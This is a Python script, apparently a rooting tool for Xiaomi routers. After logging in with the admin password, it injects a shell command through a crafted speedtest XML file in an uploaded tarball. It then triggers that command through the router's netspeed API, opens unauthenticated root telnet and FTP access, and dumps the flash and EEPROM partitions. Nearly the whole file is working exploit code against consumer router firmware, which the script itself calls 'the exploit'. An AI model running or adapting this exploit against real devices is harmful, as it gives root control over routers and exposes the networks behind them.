1. import os
2. import sys
3. import re
4. import time
5. import base64
6. import random
7. import hashlib
8. import requests
9. import socket
10. import subprocess
11. import tarfile
12. import ftplib
13. import telnetlib
14.  
15. # proxies = {"http":"http://127.0.0.1:8080"}
16. proxies = {}
17. command = "((sh /tmp/main.sh) &)"
18.  
19. line4 = subprocess.check_output(["cmd","/c","chcp","437","&","tracert","-d","-h","1","1.1.1.1"]).decode().split("\r\n")[4].strip().split(" ")
20.  
21. for data in line4:
22.         if len(data.split(".")) == 4:
23.                 router_ip_address = data
24.                 break
25.  
26. def get_mac():
27.         try:
28.                 r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address), proxies=proxies)
29.         except:
30.                 print ('No Xiaomi Router found ... Check the router performance and try again.')
31.                 sys.exit(1)
32.         mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
33.         return mac
34.  
35. def create_nonce(mac):
36.         type_ = 0
37.         deviceId = mac
38.         time_ = int(time.time())
39.         rand = random.randint(0,10000)
40.         return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)
41.  
42. def calc_password(nonce, account_str):
43.         m = hashlib.sha1()
44.         m.update((nonce + account_str).encode('utf-8'))
45.         return m.hexdigest()
46.  
47. mac = get_mac()
48. nonce = create_nonce(mac)
49. account_str = calc_password(input("Enter your router password: "), 'a2ffa5c9be07488bbb04a3a47d3c5f6a')
50. password = calc_password(nonce, account_str)
51. data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
52. r2 = requests.post("http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login".format(router_ip_address=router_ip_address),
53.         data = data,
54.         headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
55.                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
56.         proxies=proxies)
57. stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
58.  
59. with open("template/speedtest_urls_template.xml","rt") as f:
60.         template = f.read()
61. data = template.format(router_ip_address=router_ip_address,command=command)
62. with open("main/speedtest_urls.xml",'wt',newline='\n') as f:
63.         f.write(data)
64.  
65. with tarfile.open("main/payload.tar.gz", "w:gz") as tar:
66.         tar.add("main/speedtest_urls.xml", "speedtest_urls.xml")
67.         tar.add("main/main.sh", "main.sh")
68.         tar.add("main/busybox", "busybox")
69.  
70. os.remove("main/speedtest_urls.xml")
71.  
72. print("Uploading the exploit...")
73. r3 = requests.post("http://{router_ip_address}/cgi-bin/luci/;stok={stok}/api/misystem/c_upload".format(router_ip_address=router_ip_address,stok=stok), files={"image":open("main/payload.tar.gz",'rb')}, proxies=proxies)
74.  
75. os.remove("main/payload.tar.gz")
76.  
77. print("Enabling telnet and ftpd...")
78. r4 = requests.get("http://{router_ip_address}/cgi-bin/luci/;stok={stok}/api/xqnetdetect/netspeed".format(router_ip_address=router_ip_address,stok=stok), proxies=proxies)
79. print("Successfully!")
80.  
81. print('Creating a backup...')
82. tn = telnetlib.Telnet(router_ip_address)
83. tn.read_until(b"login:")
84. tn.write(b"root\n")
85. tn.read_until(b"root@XiaoQiang:~#")
86. tn.write(b"dd if=/dev/mtd0 of=/tmp/backup.bin\n")
87. tn.read_until(b"root@XiaoQiang:~#")
88.  
89. ftp=ftplib.FTP(router_ip_address)
90. with open('data/backup.bin', 'wb') as file:
91.         ftp.retrbinary(f'RETR /tmp/backup.bin', file.write)
92. tn.write(b"rm /tmp/backup.bin\n")
93. tn.read_until(b"root@XiaoQiang:~#")
94. print('Backup created!')
95.  
96. print('backup eeprom...')
97. tn = telnetlib.Telnet(router_ip_address)
98. tn.read_until(b"login:")
99. tn.write(b"root\n")
100. tn.read_until(b"root@XiaoQiang:~#")
101. tn.write(b"dd if=/dev/mtd3 of=/tmp/eeprom.bin\n")
102. tn.read_until(b"root@XiaoQiang:~#")
103.  
104. ftp=ftplib.FTP(router_ip_address)
105. with open('data/eeprom.bin', 'wb') as file:
106.         ftp.retrbinary(f'RETR /tmp/eeprom.bin', file.write)
107. tn.write(b"rm /tmp/eeprom.bin\n")
108. tn.read_until(b"root@XiaoQiang:~#")
109. print('eeprom backuped!')
110.  
111.